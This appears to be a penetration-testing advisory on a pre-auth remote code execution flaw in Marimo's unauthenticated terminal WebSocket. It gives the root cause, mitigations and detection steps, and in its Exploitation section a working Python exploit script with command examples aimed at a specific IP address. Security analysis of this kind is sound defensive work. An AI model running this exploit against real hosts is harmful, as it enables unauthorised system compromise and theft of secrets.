Marimo Pre-Auth RCE via Unauthenticated WebSocket Terminal (CVE-2026-39987)
Vulnerability Assessment and Penetration Testing (VAPT)
Summary
A critical security vulnerability in Marimo allows pre-auth remote code execution (RCE) through an exposed WebSocket terminal endpoint (/terminal/ws). The issue is caused by missing authentication and authorization enforcement before spawning a PTY-backed system shell using pty.fork(). This allows unauthenticated attackers to directly access a system-level terminal. In vulnerable deployments, this results in full system compromise, including data exfiltration, lateral movement, and potential container or host takeover.
The vulnerability is used to deliver NKAbuse malware hosted on Hugging Face Spaces, an AI development and machine learning-focused platform acting as a hub for AI assets such as models, datasets, code, and tools shared among the community. Hugging Face Spaces allows users to deploy and share interactive web apps directly from a Git repository, typically for demos, tools, or experiments related to AI.
What is Marimo?
Marimo is a modern Python notebook framework and an alternative to Jupyter Notebook, designed to improve how developers and data scientists build interactive applications.
It focuses on:
- Reactive Python execution → cells automatically update when dependencies change
- Collaborative editing → multiple users can work on the same notebook
- Interactive data workflows → ideal for ML, analytics, and experimentation
Why is Marimo Important?
Marimo is not just a notebook—it’s often part of real production-like environments.
It is widely used for:
- Data science & machine learning experiments
- AI/LLM prototyping
- Internal analytics dashboards
- Research and engineering workflows
Where is it Typically Deployed?
In real-world scenarios, Marimo is commonly:
- Exposed to internal or external networks (for collaboration)
- Running inside containers (Docker/Kubernetes)
- Connected to sensitive resources, such as:
- Databases
- Cloud APIs
- Internal services
- .env files with secrets
Why This Makes It High-Risk
Because of how and where it’s used, Marimo becomes a high-value target.
A vulnerability in Marimo is dangerous because:
1. Direct Access to Sensitive Data
Attackers can reach:
- API keys
- Cloud credentials
- Internal datasets
2. Execution Environment = Real System Access
Unlike simple web apps, Marimo:
- Executes real Python code
- Has filesystem access
- Can run system commands
This means RCE equals full system compromise.
3. Often Runs with High Privileges
In many deployments (especially Docker):
- Runs as root
- Has access to host resources
4. Gateway to Internal Infrastructure
Once compromised, attackers can:
- Move laterally inside the network
- Access databases and internal APIs
- Pivot to other services
What is CVE-2026-39987?
CVE-2026-39987 is a unique identifier (Common Vulnerabilities and Exposures ID) assigned to this security issue.
A CVE is a standardized ID used globally to track publicly known cybersecurity vulnerabilities.
In simple terms:
- CVE = ID card for a security vulnerability
- It helps security teams, vendors, and researchers refer to the same issue consistently
For CVE-2026-39987:
It refers to a critical pre-auth RCE vulnerability in Marimo’s WebSocket terminal endpoint, where:
- Authentication is missing
- A terminal session is created via PTY
- Remote attackers can execute system commands without login
Affected Versions
- Marimo ≤ 0.22.x (all versions prior to the security fix)
- Any deployment exposing /terminal/ws without authentication controls
- Containerized and self-hosted deployments are especially impacted if publicly reachable
Root Cause Analysis: Missing Authentication in Terminal WebSocket
The vulnerability in Marimo is caused by a critical authentication gap in one specific WebSocket endpoint:
/terminal/ws
Code-Level Explanation
Vulnerable Implementation
@router.websocket("/terminal/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close()
return
if not supports_terminal():
await websocket.close()
return
# Missing authentication check
await websocket.accept()
child_pid, fd = pty.fork() # Creates PTY shell
What’s happening here?
- The server checks:
- If the app is in edit mode
- If the system supports terminal (PTY)
- But it completely skips authentication
- It directly calls:
websocket.accept()
- Then:
pty.fork()
→ This spawns a real system shell
Secure Implementation
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
Why this matters:
- validate_auth() ensures:
- Valid session/token
- Authorized user
- Without it → anyone can connect
Core Security Flaw
Authentication is enforced inconsistently across WebSocket endpoints
- /ws → Protected
- /terminal/ws → Unprotected
This creates an authentication bypass vulnerability
Deeper Technical Analysis
1. WebSocket Security Model Misunderstanding
Developers often assume:
“Authentication middleware will protect everything”
But with WebSockets:
- The connection starts as HTTP → then upgrades
- After upgrade → it's a persistent channel
- Middleware does NOT enforce access control automatically
Security must be enforced inside each endpoint
2. Middleware Limitation (Critical Insight)
Marimo uses:
→ AuthenticationMiddleware (from Starlette)
But this middleware:
- Identifies user (authenticated / not)
- Does NOT block WebSocket connections
So:
Unauthenticated user → still allowed to connect
Unless the endpoint explicitly blocks them.
3. Missing Enforcement Mechanisms
The vulnerable endpoint lacks:
- validate_auth()
- @requires("edit") decorator
- Any manual authorization check
Result: Zero access control
4. Dangerous Functionality Exposed
The endpoint doesn’t just return data—it provides:
pty.fork()
This means:
- A real OS-level shell is created
- Commands are executed on the system
This turns the issue into immediate RCE
Attack Chain Breakdown

1. Connect to WebSocket Endpoint
The attacker initiates a WebSocket connection to:
ws://TARGET:2718/terminal/ws
- No authentication token is required
- No session or cookies are required
- The endpoint is publicly reachable in exposed deployments
This is the entry point of the attack
2. Connection Accepted (No Authentication)
The server processes the WebSocket request and:
- Does not validate authentication
- Directly calls websocket.accept()
- Treats the attacker as a legitimate client
This happens because the endpoint skips authentication checks entirely
3. PTY Shell Spawned
After accepting the connection:
- The server executes pty.fork()
- A new interactive terminal session is created
- The attacker is connected to /bin/sh or similar shell
At this stage, the attacker gains full shell access
4. Execute Arbitrary Commands
The attacker can now send commands through the WebSocket:
Examples:
id
whoami
ls -la
cat /etc/passwd
- Commands execute with the same privileges as the Marimo process
- In many cases → root access (Docker default)
This results in full remote code execution (RCE)
Exploitation
The vulnerability in Marimo can be exploited using a simple WebSocket client. Since the /terminal/ws endpoint does not require authentication, an attacker can directly establish a connection and execute arbitrary commands.
Python Exploit Script
import websocket
import sys
import time
if len(sys.argv) != 3:
print(f"Usage: python3 {sys.argv[0]} <target> <command>")
print(f"Example: python3 {sys.argv[0]} http://62.171.163.130:808 'id && whoami'")
sys.exit(1)
target = sys.argv[1]
cmd = sys.argv[2]
# Convert http -> ws automatically
ws_url = target.replace("http://", "ws://").replace("https://", "wss://") + "/terminal/ws"
ws = websocket.WebSocket()
ws.connect(ws_url)
time.sleep(2)
# Drain initial output
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
# Execute command
ws.settimeout(10)
ws.send(cmd + "\n")
time.sleep(2)
try:
while True:
print(ws.recv(), end="")
except:
pass
ws.close()
How the Exploit Works
1. Target Preparation
- The script takes:
- Target URL (HTTP/HTTPS)
- Command to execute
- Automatically converts:
http → ws
https → wss
2. WebSocket Connection
ws.connect(ws_url)
- Connects to:
ws://TARGET:PORT/terminal/ws
- No authentication required
3. Session Initialization
ws.recv()
- Clears initial terminal output (banner/noise)
- Prepares for clean command execution
4. Command Execution
ws.send(cmd + "\n")
- Sends arbitrary system command
- Executed directly in spawned PTY shell
5. Output Retrieval
print(ws.recv())
- Returns command output
- Works like a real interactive shell
python3 ex.py http://62.171.163.130:8080 "id && whoami && hostname &&cat /etc/passwd"

Nuclei Template (Automated Detection)
You can detect this vulnerability using Nuclei with a custom template:
Template Source:
https://github.com/rxerium/rxerium-templates/blob/main/2026/CVE-2026-39987.yaml
nuclei -u http://62.171.163.130:8080/ -t Marimo-rce.yaml

Impact
The impact represents the worst-case scenario for a pre-auth Remote Code Execution (RCE) vulnerability in Marimo:
- Pre-auth Remote Code Execution (RCE)
An attacker can execute arbitrary system commands without authentication and with low attack complexity, leading to full system compromise. - Full data exfiltration (disk + memory)
Attackers can access sensitive artifacts including notebooks, environment variables, SSH keys, API tokens, and cloud credentials. - Lateral movement inside internal infrastructure
Compromised notebook hosts often have network access to databases, object storage, internal APIs, and adjacent services, enabling pivoting across environments. - Persistence and post-exploitation control
Attackers may establish persistence through cron jobs, startup scripts, or injected Python execution paths depending on system privileges. - Container or host compromise escalation risk
In containerized deployments, RCE can lead to container breakout attempts or direct host compromise if privileged configurations are present. - Confidential AI / data science workload exposure
Since Marimo is commonly used in ML/AI workflows, attackers may gain access to proprietary models, datasets, and research logic. - Infrastructure-wide security incident potential
Exposure of a single notebook instance can cascade into a broader security incident affecting shared compute clusters, CI pipelines, or internal developer environments.
Mitigations
- Immediate upgrade
Patch to version 0.23.0 or newer (or the latest fixed release) where the WebSocket authentication issue is resolved. - Do not expose to untrusted networks
Avoid public exposure. Use VPNs, private subnets, bastion hosts, or authenticated reverse proxies with strict access control. - Network binding restrictions
Do not bind services to 0.0.0.0 unless explicitly required and protected by strong network-level controls and firewall rules. - Container and runtime hardening
Run as non-root, drop unnecessary Linux capabilities, and apply minimal base images. Note: for pre-auth RCE, container hardening is a secondary layer, not a primary defense. - Secrets management hygiene
Treat notebook environments as high-risk. Avoid storing .env files or production credentials. Rotate secrets immediately if exposure is suspected. - Monitoring and detection
Monitor WebSocket activity targeting /terminal/ws, detect unusual shell spawning, abnormal process trees, and unexpected outbound network connections. - Assume compromise and hunt proactively
Even if logs don’t show the initial exploit, investigate for post-exploitation artifacts, persistence mechanisms, and lateral movement indicators.
Conclusion
The vulnerability tracked as CVE-2026-39987 highlights a critical security failure in Marimo—the absence of proper authentication and authorization controls on a high-risk WebSocket endpoint.
By exposing /terminal/ws without access control, Marimo unintentionally provides attackers with a direct pathway to a fully interactive system shell. This transforms a simple misconfiguration into a critical pre-auth Remote Code Execution (RCE) vulnerability with severe real-world impact.
What makes this issue particularly dangerous is not just the flaw itself, but the context in which Marimo operates:
- Close proximity to sensitive data and secrets
- Integration with internal infrastructure
- Frequent deployment in privileged or containerized environments
As a result, exploitation is not limited to a single host—it can quickly escalate into a broader infrastructure compromise.
This case also reinforces an important security lesson:
WebSocket endpoints must enforce authentication and authorization explicitly—middleware alone is not enough.
Organizations using Marimo should treat this vulnerability as an active incident risk, not a theoretical issue. Immediate patching, strict access control, and proactive threat hunting are essential to mitigate potential damage.